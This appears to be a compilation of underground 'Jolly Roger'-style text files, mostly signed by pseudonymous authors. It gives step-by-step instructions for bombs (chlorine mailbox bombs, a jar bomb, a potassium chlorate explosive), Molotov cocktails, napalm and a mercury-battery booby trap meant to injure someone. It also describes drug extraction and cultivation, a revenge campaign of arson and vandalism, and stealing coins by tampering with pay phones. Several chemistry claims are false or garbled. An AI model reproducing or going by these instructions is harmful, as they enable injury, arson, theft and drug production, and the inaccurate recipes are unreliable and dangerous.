	This is really a good method for opening doors that are locked.  The only problem with this, though, is that it only works for outward opening doors.  Ok, here we go.




	
Realize you are not working with the actual lock, but that thing that sticks between the door and the wall.  See how that thing is curved on one side?  Well, that is what we  will be making use of  



Materials:



Acquire a large paper-clip, if it is too short, it won't work. 

Shoelace.  



Procedure:  Straighten the paper-clip.  Loop one end of the paper clip around the shoelace.  The shoelace should be about 4/5 on one side of the clip and 1/5 on the other.  Let's see if I can draw it.

                         

       



	
------------------******
*******************************


                        
	         
-*

                          
	
*******





--- is the paper clip

*** is the shoelace



	That's not very good, but I hope you get the picture.



	All you have to do now is curve the paper clip (no, I won't draw it)  With the curved paper-clip, stick it between the door and the wall, behind the metal thing that sticks between. 

Feed it through with you hand, until you can grip both sides of the shoelace.  Now, simply pull the lace and the door at the same time, and VIOLA! the door is open.  I prefer this over regular lock-picking if the door opens outward, because it is a lot quicker.  Lock picking can take 5 minutes. When done correctly this only takes 30 seconds!  So, if you can, use this.



LSD Courtsey of The Jolly Roger



	I think, of all the drugs on the black market today, LSD is the strangest. It is the most recent major drug to come to life  in  the psychedelic subculture. (Blah blah blah... let's get to the good stuff:)



How to make LSD in your kitchen



	Grind up 150 grams of Morning Glory seeds or baby  Hawaiian wood rose seeds. In 130 cc. of petroleum ether, soak the seeds for two days.  Filter the solution through a tight screen. Throw away the liquid, and allow the seed mush to dry. For two days allow the mush to soak in 110 cc. of wood alcohol.  Filter the solution again, saving the liquid and labeled “L”  Re-soak  the  mush  in 110 cc. of  wood alcohol  for  two days. Filter and throw away the mush.  Add the liquid from the second soak to the solution labeled “L"  Pour  the liquid  into a cookie tray and allow it to evaporate.  When all of  the liquid has evaporated, a yellow gum remains. This should be scraped up and put into capsules.



	30 grams of Morning Glory seeds = 1 trip

	15 Hawaiian wood rose seeds = 1 trip



	Many companies, such as Northop-King have been coating their seeds with a toxic chemical, which is poison. Order seeds from a wholesaler, as it is much safer and cheaper.  Hawaiian wood rose seeds can be ordered directly from:




               Chong's Nursery and Flowers

               P.O. Box 2154

               Honolulu, Hawaii



Dosages:



	The  basic dosages of acid vary according to what kind of acid  is available and what medium of ingestion is used. Chemically, the potency of LSD-25 is measured in micrograms, or  mics.  If you're  chemically  minded  or  making your own acid, then computing the number of micrograms is very important.  Usually between 500 and 800 mics is plenty  for  an 8 hour trip, depending on the quality of the acid, of course. I have  heard of people taking as much as 1,500-2,000 mics. This is not only extremely dangerous, it is extremely wasteful.



          LSD  comes  packaged  in many different forms. The most common are listed below:



	1) The brown spot, or a piece of paper with a dried drop of  LSD  on it, is always around. Usually one spot equals one trip.



	2) Capsuled acid is very tricky, as the cap can be almost any color, size, or potency. Always ask what the acid is cut with, as a lot of acid is cut with either speed or strychnine. 



           3) Small white or colored tablets have been known to contain acid, but, as with capsuled acid, it's impossible to tell potency, without asking.



Mace Substitute  By: The Jolly Roger



3 Parts: 	Alcohol

1/2 Part: 	Iodine

1/2 Part: 	Salt



or



3 Parts: 	Alcohol

1 Part: 		Iodized Salt (Mortons)



It's not actual mace, but it does a damn good job on the eyes.



Mail Box Bombs  By:  The Jolly Roger



Materials:  

1 Two liter bottle of chlorine (must contain sodium hypochlorate)

Small amount of sugar

Small amount of water



Procedure:  Mix all three of these in equal amounts to fill about 1/10 of the bottle. Screw on the lid and place in a mailbox. It's hard to believe that such a small explosion will literally rip the mailbox in half and send it 20 feet into the air! Be careful doing this, though, because if you are caught, it is not up to the person whose mailbox you blew up to press charges. It is up to the city.



"Mentor's Last Words"  Courtesy of the Jolly Roger



	Another one got caught today, it's all over the papers.  "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids.  They're all alike. But did you, in your three-piece psychology and 1950's techno brain, ever take a look behind the

eyes of the hacker?  Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world. Mine is a world that begins with school.



	I'm smarter than most of the other kids, this crap they teach us bores me.  Damn underachiever.  They're all alike. I'm in junior high or high school.  I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it.  "No, Ms. Smith, I didn't show my work.  I did it in my head." Damn kid.  Probably copied it.  They're all alike.  I made a discovery today.  I found a computer.  Wait a second, this is cool.  It does what I want it to.  If it makes a mistake, it's because I screwed it up.  Not because it doesn't like me.  Or feels threatened by me. Or thinks I'm a smart ass. Or doesn't like teaching and shouldn't be here. Damn kid.  All he does is play games.  They're all alike. And then it happened. a door opened to a world. rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetences is sought. a board is found.



	"This is it... this is where I belong..." I know everyone here... even if I've never met them, never talked to them, may never hear from them again. I know you all. Damn kid.  Tying up the phone line again.  They're all alike. You bet your ass we're all alike. we've been
 
spoon-fed baby food at school when we hungered for steak. the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic.  The few that had something to teach found us willing pupils, but those few are

like drops of water in the desert.




	
This is our world now. the world of the electron and the switch, the beauty of the baud.  We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals.  We explore. and you call us criminals.  We seek after knowledge. and you call us criminals.  We exist without skin color, without nationality, without religious bias. and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals.  Yes, I am a criminal.  My crime is that of curiosity.  My crime is that of judging people by what they say and think, not what they look like.  My crime is that of outsmarting you, something that you will never forgive me for. I am a hacker, and this is my manifesto.  You may stop this individual, but you can't stop us all... after all, we're all alike.



Mercury Batter Bomb  By: Phucked Agent



Materials:



1 Mercury Battery (1.5 or 1.4 V Hearing Aid), 

1 working lamp with on/off switch



Procedure:



Turn the lamp switch on to see if the light bulb lights up.

If it works, leave the switch off and unplug the cord

Unscrew the bulb (Don’t touch the hot-spot!)

Place 1 Mercury Battery in the socket and make sure that it is touching the Hot-spot contact.

Now, put the cord back in the wall



Now, get the hell out of there.  When the switch is turned on sparks will fly and there is a high probability that the idiot you do this do will have their face covered in mercury.



Missiles  By: Exodus



	This missile is aptly named because it travels best down a street or road. This  is nothing more that harmless fun intended to scare the living shit out of  oncoming cars.  


Materials:



Can full of flammable propellant (ie Hairspray.  Don't use spray paint dipshit, it makes a mess)

Book of ordinary matches

Tape 				(clear if possible, its thinner)

BB or pellet gun 		(use BB's if possible)



Procedure:  Tape the book of matches to the bottom of the can, ya know, the CONCAVE part.  You might want to arrange the matches so that they are spread over a wide area of the bottom of the can, but close together.



	Shake the can up vigorously. Now place the can on its side with the  nozzle of the can pointed in the direction you want it to go, down a road, off  a ramp, at your dog etc.. Now stand back a bit, and shoot at the matches. It should take off at about 30 ft per sec!  



	What happens in case you couldn't tell, is the BB hits the matches and causes a spark, and at roughly the same time, punctures the weak bottom of the can.  As the propellant sprays out, it hopefully comes in contact with the spark, and presto. If you don’t do it right you'll blow a lot of money because each can only be used once, so experiment to find best results.



Marijuana  Courtesy of The Jolly Roger



What it is:  Marijuana is a deciduous plant which grows from seeds. The fibrous section of the plant was (has been replaced by synthetics) used to make rope.  The flowering tops, leaves, seeds, and resin of the plant is used by just about everyone to get high.  Normally, the vegetable parts of the plant are smoked to produce this "high," but they can also be eaten. The active ingredient in marijuana resin is THC (Teta-Hydro-Cannabinol). Marijuana contains from 1 to 4 percent THC (the weed that is 4% is the GOOD dope)  Marijuana grows wild in many parts of the world, and is cultivated in Mexico, Vietnam, Africa, Nepal, India, South America, etc.

The marijuana that is sold in the United States comes primarily from: The United States.



	It is estimated that at least 50 per cent of the grass on the streets in America is homegrown. The next largest bunch comes across the borders from Mexico, with smaller amounts filtering in from Panama, occasionally South America, and occasionally, Africa.  Hashish is the pure resin of the marijuana plant, which is scraped from the flowering tops of the plant and lumped together. Ganja is the ground-up tops of the finest plants. (It is also the name given to any sort of marijuana in Jamaica.) Marijuana will deteriorate in about two years if exposed to light, air or heat. It should always be stored in cool places.  Grass prices in the United States are a direct reflection of the laws of supply and demand (and you thought that high school economics would never be useful). A series of large border busts, a short growing season, a bad crop, any number of things can drive the price of marijuana up. Demand still seems to be on the increase in the US, so prices seldom fall below last year's level.



	Each year a small seasonal drought occurs, as last year's supply runs low, and next year's crop is not up yet. Prices usually rise about 20 - 75 per cent during this time and then fall back to "normal." Unquestionably, a large shortage of grass causes a percentage of smokers to turn to harder drugs instead. For this reason, no grass control program can ever be beneficial or "successful."



	There is one surefire way of avoiding high prices and the grass DT's:  Grow your own. This is not as difficult as some "authorities" on the subject would make you believe. Marijuana is a weed, and a fairly vivacious one at that, and it will grow almost in spite of you.

                               

	Contrary to popular belief, grass grows well in many place on the North American continent. It will flourish even if the temperature does not raise above 75 degrees.



Outdoor Growing:  The plants do need a minimum of eight hours of sunlight per day and should be planted in late April/early May, BUT DEFINITELY, after the last frost of the year.  Growing an outdoor or "au natural" crop has been the favored method over the years, because grass seems to grow better without as much attention when in its natural habitat. Of course, an outdoors setting requires special precautions not encountered with an indoors crop; you must be able to avoid detection, both from law enforcement freaks and common freaks, both of whom will take your weed and probably use it. Of course, one will also arrest you. You must also have access to the area to prepare the soil and harvest the crop. There are two schools of thought about starting the seeds. 



	One says you should start the seedlings for about ten days in an indoor starter box (see the indoor section) and then transplant. The other theory is that you should just start them in the correct location. Fewer plants will come up with this method, but there is no shock of transplant to kill some of the seedlings halfway through. The soil should be prepared for the little devils by turning it over a couple of times and adding about one cup of hydrated lime per square yard of soil and a little bit (not too much, now) of good water soluble nitrogen fertilizer. The soil should now be watered several times and left to sit about one week.



	The plants should be planted at least three feet apart, getting too greedy and stacking them too close will result in stunted plants.  The plants like some water during their growing season, but not too much. This is especially true around the roots, as too much water will rot the root system. Grass grows well in corn or hops, and these plants will help provide some camouflage. It does not grow well with rye, spinach, or pepper weed. It is probably a good idea to plant in many small, broken patches, as people tend to notice patterns.



	Both the male and the female plant produce THC resin, although the male is not as strong as the female. In a good crop, the male will still be plenty smokeable and should not be thrown away under any circumstances. Marijuana can reach a high of twenty feet (or would you rather wish on a star) and obtain a diameter of 4 1/2 inches. If normal, it has a sex ratio of about 1:1, but this can be altered in several ways. 



	The male plant dies in the 12th week of growing, the female will live another 3 - 5 weeks to produce her young ones. Females can weigh twice as much as males when they are mature.



	Marijuana soil should compact when you squeeze it, but should also break apart with a small pressure and absorb water well. A nice test for either indoor or outdoor growing is to add a bunch of worms to the soil, if they live and hang around, it is good soil, but if they don't,

well, change it. Worms also help keep the soil loose enough for the plants to grow well.



	To get good grass, you should start with the right seeds. A nice starting point is to save the seeds form the best batch you have consumed. The seeds should be virile, that is, they should not be gray and shriveled up, but green, meaty, and healthy appearing. A nice test is to drop the seeds on a hot frying pan. If they "CRACK," they are probably good for planting purposes.


	The seeds should be soaked in distilled water overnight before planting. BE SURE to plant in the ground with the pointy end up. Plant about 1/2" deep. Healthy seeds will sprout in about five days.



	The best all around sprouting method is probably to make a sprouting box (as sold in nurseries) with a slated bottom or use paper cups with holes punched in the bottoms. The sprouting soil should be a mixture of humus, soil, and five sand with a bit of organic fertilizer and water mixed in about one week before planting. When ready to transplant, you must be sure and leave a ball of soil around the roots of each plant. This whole ball is dropped into a baseball-sized hold in the permanent soil.



Outdoor Growth Preparing & Indoor Growing:  If you are growing/transplanting indoors, you should use a green safe light (purchased at nurseries) during the transplanting operation.  If you are transplanting outdoors, you should time it about two hours before sunset to avoid damage to the plant. Always wear cotton gloves when handling the young plants.  After the plants are set in the hole, you should water them. It is also a good idea to use a commercial transplant chemical (also purchased at nurseries) to help then overcome the shock.



	Indoor growing has many advantages, besides the apparent fact that it is much harder to have your crop "found," you can control the ambient conditions just exactly as you want them and get a guaranteed "good" plant.



	Plants grown indoors will not appear the same as their outdoor cousins. They will be scrawnier appearing with a weak stems and may even require you to tie them to a growing post to remain upright, but they will have as much or more Resin!



	If growing in a room, you should put tar paper on the floors and then buy sterilized bags of soil form a nursery. You will need about one cubic foot of soil for each plant. The plants will need about 150 ml. of water per plant/per week. They will also need fresh air, so the room must be ventilated. (However, the fresh air should contain NO tobacco smoke.)



	At least eight hours of light a day must be provided. As you increase the light, the plants grow faster and show more females/less males. Sixteen hours of light per day seems to be the best combination, beyond this makes little or no appreciable difference in the plant quality. Another idea is to interrupt the night cycle with about one hour of light. This gives you more females. The walls of your growing room should be painted white or covered with aluminum foil to reflect the light.



	The lights themselves can be either bulbs of fluorescent. Figure about 75 watts per plant or one plant per two feet of fluorescent tube. The fluorescent are the best, but do not use "cool white" types. The light sources should be an average of twenty inches from the plant and NEVER closer than 14 inches. They may be mounted on a rack and moved every few days as the plants grow.  The very best light sources are those made by Sylvania and others especially for growing plants (such as the "grow lux" types).



	The male plants will be taller and have about five green or yellow sepals, which will split open to fertilize the female plant with pollen.  The female plant is shorter and has a small pistillate flower, which really doesn't look like a flower at all but rather a small bunch of leaves in a cluster.   



	If you don't want any seeds, just good dope, you should pick the males before they shed their pollen as the female will use some of her resin to make the seeds.  After another three to five weeks, after the males are gone, the females will begin to wither and die (from loneliness?), this is the time to pick.  In some nefarious Middle Eastern countries, farmers reportedly put their beehives next to fields of marijuana. The little devils collect the grass pollen for their honey, which is supposed to contain a fair dosage of THC.



Harvesting:  To cure the plants, they must be dried. On large crops, this is accomplished by constructing a drying box or drying room.  You must have a heat source (such as an electric heater) which will make the box/room each 130 degrees. The box/room must be ventilated to carry off the water-vapor-laden air and replace it with fresh.  A good box can be constructed from an orange crate with fiberglass insulated walls, vents in the tops, and screen shelves to hold the leaves. There must be a baffle between the leaves and the heat source.  A quick cure for smaller amounts is to: cut the plant at the soil level and wrap it in a cloth so as not to loose any leaves. Take out any seeds by hand and store. Place all the leaves on a cookie sheet or aluminum foil and put them in the middle shelf of the oven, which is set on "broil."  In a few seconds, the leaves will smoke and curl up, stir them around and give another ten seconds before you take them out.



Growth Tricks:  There are several tricks to increase the number of females, or the THC content of plants:  You can make the plants mature in 36 days if you are in a hurry, by cutting back on the light to about 14 hours, but the plants will not be as big. You should gradually shorten the light cycle until you reach fourteen hours.



	You can stop any watering as the plants begin to bake the resin rise to the flowers. This will increase the resin a bit.  You can use a sun lamp on the plants as they begin to develop flower stalks.  You can snip off the flower, right at the spot where it joins the plant, and a new flower will form in a couple of weeks. This can be repeated two or three times to get several times more flowers than usual.



	If the plants are sprayed with Ethrel early in their growing stage, they will produce almost all female plants. This usually speeds up the flowering also, it may happen in as little as two weeks.



What’s Going Wrong:  So you have done everything to the letter and your crop is sick or non-existence.  Well, always check the overall environmental conditions prior to passing judgment - soil around 7 pH or slightly less - plenty of water, light, fresh air, loose soil, no water standing in pools.  If all of these conditions meet specs then try consult the following list.

 



Symptom                     		
	
Probable Problems and Cures

Larger leaves turning yellow -      	Nitrogen deficiency -

smaller leaves still green.         		add nitrate of soda or organic fertilizer.



Older leaves will curl at edges,    	Phosphorous deficiency -

turn dark, possibly with a purple  	add commercial phosphate.

cast.



Mature leaves develop a yellowish   	Magnesium deficiency -

cast to least venial areas.         		add commercial fertilizer with a  magnesium content.



Mature leaves turn yellow and then  	Potassium deficiency -

become spotted with edge areas      	add muriate of potash.

turning dark gray.



Cracked stems, no healthy support   	Boron deficiency - 

tissue.                             		add any plant food containing  boron.



Small wrinkled leaves with          	Zinc deficiency - 

yellowish vein systems.              		add commercial plant food containing zinc.



Young leaves become deformed,       	Molybdenum deficiency -

possibly yellowing.                		use any plant food with a bit of molybdenum in it.



Turning Bad Weed into Good Weed:  



	Can you turn bad weed into good weed? Surprisingly enough, the answer to this often-asked inquiry is, yes! Like most other things in life, the amount of good you are going to do relates directly to how much effort you are going to put into it. There are no instant, supermarket products which you can spray on Kansas catnip and have wonder weed, but there are a number of simplified, inexpensive processes which will enhance mediocre grass somewhat, and there are a couple of fairly involved processes which will do up even almost-parsley weed into something worth writing home about.



1. Place the dope in a container which allows air to enter in a restricted fashion (such as a can with nail holes punched in its lid) and add a bunch of dry ice, and the place the would shebang in the freezer for a few days. This process will add a certain amount of potency to the product,

however, this only works with dry ice, if you use normal, everyday freezer ice, you will end up with a soggy mess.



2. Take a quantity of grass and dampen it, place in a baggie or another socially acceptable container, and store it in a dark, damp place for a couple of weeks (burying it also seems to work). The grass will develop a mold which tastes a bit harsh, a and burns a tiny bit funny, but does increase the potency.  





3. Expose the grass to the high intensity light of a sun lamp for a full day or so. Personally, I don't feel that this is worth the effort, but if you just spent $400 of your friend's money for this brick of super-Colombian, right-from-the-President's-personal-stash, and it turns out to be Missouri weed, and you're packing your bags to leave town before the people arrive for their shares, well, you might at least try it. Can't hurt.



4. Take the undesirable portions of our stash (stems, seeds, weak weed, worms, etc.) and place them in a covered pot, with enough rubbing alcohol to cover everything.  Now carefully boil the mixture on an electric stove or lab burner. DO NOT USE GAS - the alcohol is too flammable. After 45 minutes of heat, remove the pot and strain the solids out, SAVING THE ALCOHOL.  Now, repeat the process with the same residuals, but fresh alcohol.  When the second boil is over, remove the solids again, combine the two quantities of alcohol and reboil until you have a syrupy mixture. Now, this syrupy mixture will contain much of the THC formerly hidden in the stems and such. One simply takes this syrup the thoroughly combines it with the grass that one wishes to improve upon.



Final Advice:  A few final things to remember is that marijuana is nothing more than a weed, therefore, they can do the majority of the job on their own.  The truly take very little work to get them to grow to a decent crop.  With tender loving care, you can get a fairly self replicating garden going on.  Also, don’t forget they are plants.  You can add fertilizers to them with no problems.  It will help.  Try adding coffee grounds and egg shells to the soils about 3 months before you plan to grow.  This will cause the soil you will be planting in to be high in nitrates.  Other than that, these directions should help to let you grow a hellva a crop.



What Big Brother Doesn't Want You To Know About Hemp  By: The Jolly Roger



1.  Cannabis and hemp are the same. "Marijuana" was the Mexican name given to cannabis.

2.  Cannabis was first cultivated in China around 4000 BC

3.  The original drafts of the Declaration of Independence were written on hemp paper.

4.  One acre of hemp will produce as much paper as four acres of trees.

5.  Hemp is a source of fiber for cloth and cordage for rope. The hemp fiber is located inside the long stem of the plant.

6.  George Washington and Thomas Jefferson grew hemp. Washington, our first president, declared, "Make the most of the hemp seed. Sow it everywhere."

7.  Hemp seed is nature's perfect food. the oil from hemp seeds has the highest percentage of essential fatty acids and the lowest percentage of saturated fats.

8.  Sterilized hemp seed is commonly sold as bird seed.

9.  Rolling papers, like Bambu, are made from hemp paper.

10. In 1937, the Marijuana Tax Stamp Act Prohibited the use, sale, and cultivation of hemp/marijuana in the United States.

11. Five years later, during World War II, the US Department of Agriculture released the film, "HEMP FOR VICTORY, " which encouraged American farmers to grow hemp for the war effort.

12. Hemp is cultivated all over the world. Today, China, Korea, Italy, Hungary, Russia, and France are among the countries that grow hemp for fiber, paper, and other products.

13. Cannabis is classified as a schedule 1 drug by the Food and Drug Administration. Designated as a narcotic, it cannot be prescribed by physicians to patients.

14. In 1988, the DEA's own administrative law judge concluded that "Marijuana is one of the safest, therapeutically active substances known to man."

15. Cannabis can be used as a medicine to treat nausea, pain, and muscle spasms. It alleviates symptoms of glaucoma, multiple sclerosis, AIDS, migraines, and other debilitating ailments.

16. Thirty-five states have passed legislation permitting medical use of marijuana.

17. Twelve Americans receive prescribed marijuana from the US government.

18. More than 400,000 Americans are arrested each year on marijuana charges.

19. More than 400,000 Americans die from diseases related to cigarette smoking each year. More than 150.000 Americans die of alcohol abuse each year. But in 10,000 years of usage, NO ONE has EVER died from marijuana.



Molotov Cocktails  Courtsey of Red Phaze



	First used by Russians against German tanks, the Molotov cocktail is now exclusively used by terrorists worldwide.  There are extremely simple to make, and can produce devastating results.  By taking any highly flammable material, such as gasoline, diesel fuel, kerosene, ethyl or methyl alcohol, lighter fluid, turpentine, or any mixture of the above and putting it into a large glass bottle, anyone can make an effective firebomb.



	After putting the flammable liquid in the bottle, simply put a piece of cloth that is soaked in the liquid in the top of the bottle so that it fits tightly.  then wrap so of the cloth around the neck and tie it.  Be sure to leave a few inches of lose cloth to light.  Light the exposed cloth and throw the bottle.  If the burning cloth does not go out, and if the bottle break on impact, the contents of the bottle will splatter over a large area near the site of impact and burst into flame.  



	Flammable mixtures such as kerosene and motor oil should be mixed with a  more volatile and flammable liquid, such as gasoline to insure ignition.  A mixture such as grease and gasoline will stick to the surface that it strike and burn hotter and be more difficult to extinguish.  A mixture such as this must be shaken well before it is lit and thrown.



	Also, roofing tar can be used in place of the motor oil.  The roofing tar should be mixed with the gasoline in a 1:1 ratio with the gasoline.  Firebombs have been found which were made by pouring melted wax into gasoline.



A Different kind of Molotov Cocktail:



Materials:



Plastic 2 liter bottle

Piece of Cloth

Chlorine Tablet



Procedure:  Fill the coke bottle to the half way line with gasoline.  Cram the cloth into the neck of the bottle and tie it.  Then get the chlorine tablet and stuff it into the cloth, you will have to force it in there because the table are bigger than the opening of the bottle.  The when you throw the bottle in the direction of a target and it hits the ground and the chlorine and gasoline mix, it should appears.



Napalm  By: Exodus



Materials:  



Gasoline

Styrofoam (cups or anything else)

some kind of container



Procedure:  Pour some gas into an old bowl or some kind of container.  Get some Styrofoam and put it in the gas, until the gas won't eat anymore. You should have a sticky syrup.



Put it on the end of something (don't touch it!!). The unused stuff lasts a long time!



Pseudo Napalm  Courtsey of Red Phaze



	Get some paraffin (wax) and melt it in a pot. While waiting for the wax to melt get some saw dust and saturate it with gasoline.  Then mix the sawdust in almost the same quantity to the paraffin. Now when it starts to cool you can put it like in a tuna-fish can for a nice size and shape. You can put a fuse in the mixture for easy of ignition. Any source of flame will do.  This shit isn't exactly napalm but what the fuck. I'm sure that it'll ruin someone's day.



	Or you can try instead of using the sawdust/gasoline combination style of napalm, you can you the Styrofoam/gasoline.  Take napalm that has been made with Styrofoam and mix that with the paraffin.  The rest is the same.



Operators By: Exodus



           Ever get an operator who gave you a hard time, and you didn't know what to do? Well if the operator hears you use a little Bell jargon, she might wise up. Here is a little diagram of the structure of operators:



Operator --- > S.A. ---> BOS 

   |

   |

  V



Group Chief 



	Now most of the operators are not bugged, so they can curse at you, if they do ask instantly ask for the S.A.(Service Assistant.)  The operator does not report to her (95% of them are hers) but they will solve most of your problems. She must give you her name as she connects & all of these calls are bugged. If the SA gives you a rough time get her BOS (Business Office Supervisor) on the line. She will almost always back her girls up, but sometimes the SA will get tarred and feathered. The operator reports to the Group Chief, and She will solve 100% of your problems, but the chances of getting her on the line are nill.



	If a lineman (the guy who works out on the poles) or an installation man gives you the works ask to speak to the Installation Foreman, that works wonders.



	Here is some other bell jargon, that might come in handy if you are having trouble with the line. Or they can be used to lie your way out of situations.



	An Erling is a line busy for 1 hour, used mostly in traffic studies.  A Permanent Signal is that terrible howling you get if you disconnect, but don't hang up.



	Everyone knows what a busy signal is, but some idiots think that is the *Actual* ringing of the phone, when it just is a tone "beeps" when the phone is ringing, wouldn't bet on this though, it can (and does) get out of sync. When you get a busy signal that is 2 times as fast as the normal one, the person you are trying to reach isn't really on the phone, (he might be), it is actually the signal that a trunk line somewhere is busy and they haven't or can't reroute your call. Sometimes you will get a Recording, or if you get nothing at all (Left High & Dry in phone terms) all the recordings are being used and the system is really overused, will probably go down in a little while. This happened when Kennedy was shot, the system just couldn't handle the calls. By the way this is called the "reorder signal" and the trunk line is "blocked".



Operation: Fuckup  By: The Jolly Roger



	This is a guide for Anarchists and can be funny for non-believers and 12 & 13 year old runts.  It can be a lesson of deadly knowledge for True Anarchists.  Serious damage is intended to be dealt here. Do not try this stuff unless you want to do a lot of serious Anarchy. 



Simulation:



Asshole		“Listen, you little teenager punk shit, shut the fuck up, or I'll fuck you up!”

Anarchist 	“OK Don’t say I didn't warn you. You can’t know my rue power.” (casually)

Asshole 	“Well, er, what do you mean?”

Anarchist 	(demonic grin) The anarchist knows something the asshole doesn’t



Operation Fuckup:

	Get a wheel barrel or two. 

	Fill with gasoline. 

	Get 16 rolls of toilet paper, unroll & drench in the gasoline. 

	Rip to shreds in gasoline. 

	Get asbestos gloves. 

	Light a flare (to be punk). 

	Grab glob of saturated toilet paper (you can ignite the glob or not). 

	Throw either flaming or dripping glob into:

		any window (picture is the best)

		front doors

		rough grain siding

		best of all, brick walls.



	First of all, this bitch is near impossible to get off once dried, and is a terror to people inside when lit! After this during the night, get a pickup truck, a few wheel-barrels, and a dozen friends with shovels. The pickup can be used only for transporting people and equipment, or doing that, and carting all the dirt. When it gets around 12:00 (after the loser goes beddie - bye), dig a gargantuan hole in his front yard until about 3:00. You can either assign three or four

of your friends to cart the dirt ten miles away in the pickup-bed, or bury his front door in 15' of dirt! After that is done, get three or four buckets of tar, and coat his windows. You can make an added twist by igniting the tar when you are all done and ready to run! That is if the loser has a house. 



	If he lives inside an apartment building, you must direct the attack more toward his car, and front door.  I usually start out when he goes to work.  I find out what his cheap car

looks like, and memorize it for future abuse.  It is always fun to paint his front door (apt.) hot pink with purple polka-dots, and off-neon colors in diagonal stripes. You can also pound a few hundred or so four inch nails into his front door (this looks like somebody really doesn't like you from the inside). Another great is to fill his keyhole with liquid steel so that after the bastard closes his door - the only way to get back in is to break it down. If you can spare it, leave

him an axe - that is implanted three inches into and through the door! 



	Now, this next one is difficult, but one of the best! Get a piece of wood siding that will more than cover his front door completely. Nail two by fours on the edges of the siding (all except the bottom) so you have a barge - like contraption. Make a hole at the top that will be large enough for a cement slide. Mix about six or seven LARGE bags of QUICK drying cement. Use the cement slide to fill the anti-chamber created by the 'barge' that is around his door. Use more two by fours to brace your little cement-filled barge, and let the little gem dry. When it is, remove the 'barge' so only a stone monolith remains that covers his door. Use any remaining cement to make a base around this so he can't just push it over. When I did this, he called the fire department, and they thought he meant wood, so they brought axes. I watched with a few dozen or so other tenants, and laughed my damn ass off! This is only his door! 


	After he parks his car for the night, the fun really begins  Open the car up, then  proceed to put orange-juice syrup all over the seats, so after he gets through all the other shit that you do, he will have the stickiest seats in the world. You can then get a few Sunday papers, and crack one of the windows about four inches. Lightly crumple the papers, and continue to completely fill the inside of his car with the newspapers. A copy of the Sunday New York Times will nicely fill a Volkswagen! 



	What is also quite amusing is to put his car on cinder blocks, slash his tires at the top, and fill them with cement! Leave the cinder blocks there so that, after he knocks the car off of them, he will get about 3 miles to the gallon with those tires, and do 0 to 60 in about two minutes! It is even more hilarious when he doesn't know why the hell why! Another is to open his hood, and then run a few wires from the spark plugs to the METAL body. The sure is one HOT car when it is running! Now, I like to pour two pounds of sugar down his gas tank. If this doesn't blow every gasket in his engine it will do something called 'caramelizing his engine'. This is when the extreme heat turns the sugar to caramel, and you literally must completely take the engine out and apart, and clean each and every individual part!



	Well, if this asshole does not get the message, you had better start to get serious. If this guide was used properly & as it was intended, this asshole will either move far away, seek professional psychological help, commit suicide, or all of the above!



Pay Phones By: The Jolly Roger



	I will now share with you my experiences with pay telephones.  You will discover that it is possible to get money from a pay phone with a minimum of effort. 



Theory: Most pay phones use four wires for the transmission of data and codes to the central office.  



	Two of them are used for voice (usually red and green), one is a ground, and the last is used with the others for the transmission of codes.  It is with this last wire that you will be working with.  On the pay phone that I usually did this to, it was colored purple, but most likely will be another color.



What you do: Simply find a pay phone which has exposed wires, such that one of them can be disconnected and connected at ease without fear of discovery. You will discover that it is usually a good idea to have some electrical tape along with you and some tool for cutting this

tape.  



	Through trial and error, you will disconnect one wire at a time starting with the wires different than green and red.  You do want a dial tone during this operation.



	What you want to disconnect is the wire supplying the codes to the telephone company so that the pay phone will not get the 'busy' or 'hang-up' command.  Leave this wire disconnected when you discover it.



What will happen:  Anytime that someone puts any amount of money into the pay phone, the deposit will not register with the phone company and it will be held in the 'temporary' chamber of the pay phone. Then, (a day later or so) you just code back to the phone, reconnect the wire,

and click the hook a few times and the phone will dump it all out the shute.  What is happening is that the 'hang-up' code that the phone was not receiving due to the wire being disconnected suddenly gets the code and dumps its' 'temporary' storage spot.



	You can make a nice amount of money this way, but remember that a repairman will stop by every few times it is reported broken and repair it, so check it at least once a day.



Peanut Butter Bomb  By: Garbled User  



Materials:



Glass Peanut butter Jar

Gasoline

Gunpowder

Model airplane glue.

Sugar.

Fuse (any type except electric)

Psychotic tendency.



	Ok.. Mix the gunpowder with the sugar in a 10:1 ratio. Then add enough model glue to thoroughly coat the mixture. Mix the glue and the mixture so that the  newly formed mixture becomes very sticky. Half fill the peanut butter jar with this. Now, add the gasoline. Fill the jar the rest of the way up. Close the jar. Shake vigorously (not TOO vigorously!). Now drill a hole in the lid. Put the fuse  in the jar. Light the fuse. And unless you are quite a far way away from this little toy when it explodes.  Prepare to die. The only drawback to this bomb is if you add the gasoline a while before you set the bomb off, it may jam up. Of course.. you can overcome this by pouring the gasoline in JUST before you plant the bomb.



Plastic Explosives from Bleach By: Jolly Roger



	Potassium chlorate is an extremely volatile explosive compound, and has been used in the past as the main explosive filler in many explosives. Common household bleach contains a small amount of potassium chlorate, which can be extracted by the procedure that follows.



Materials:

1  A heat source (hot plate, stove, etc.)

2  A hydrometer, or battery hydrometer

3  A large Pyrex, or enameled steel container (to weigh chemicals)

4  Potassium chloride (sold as a salt substitute at health and nutrition stores)



	Take one gallon of bleach, place it in the container, and begin heating it.  While this solution heats, weigh out 63 grams of potassium chloride and add this to the bleach being heated.  Constantly check the solution being heated with the hydrometer, and boil until you get a reading of 1.3.  If using a battery hydrometer, boil until you read a FULL charge.



	Take the solution and allow it to cool in a refrigerator until it is between room temperature and 0 degrees Celsius.  Filter out the crystals that have formed and save them.  Boil this solution again and cool as before.  Filter and save the crystals.



	Take the crystals that have been saved, and mix them with distilled water in the following proportions:  56 grams per 100 milliliters distilled water.  Heat this solution until it boils and allow to cool.  Filter the solution and save the crystals that form upon cooling.  This process of purification is called "fractional crystallization".  These crystals should be relatively pure potassium chlorate.  Powder these to the consistency of face powder, and heat gently to drive off all moisture.



	Now, melt five parts Vaseline with five parts wax.  Dissolve this in white gasoline (camp stove gasoline), and pour this liquid on 90 parts potassium chlorate (the powdered crystals from above) into a plastic bowl.  Knead this liquid into the potassium chlorate until intimately mixed.  Allow all gasoline to evaporate.



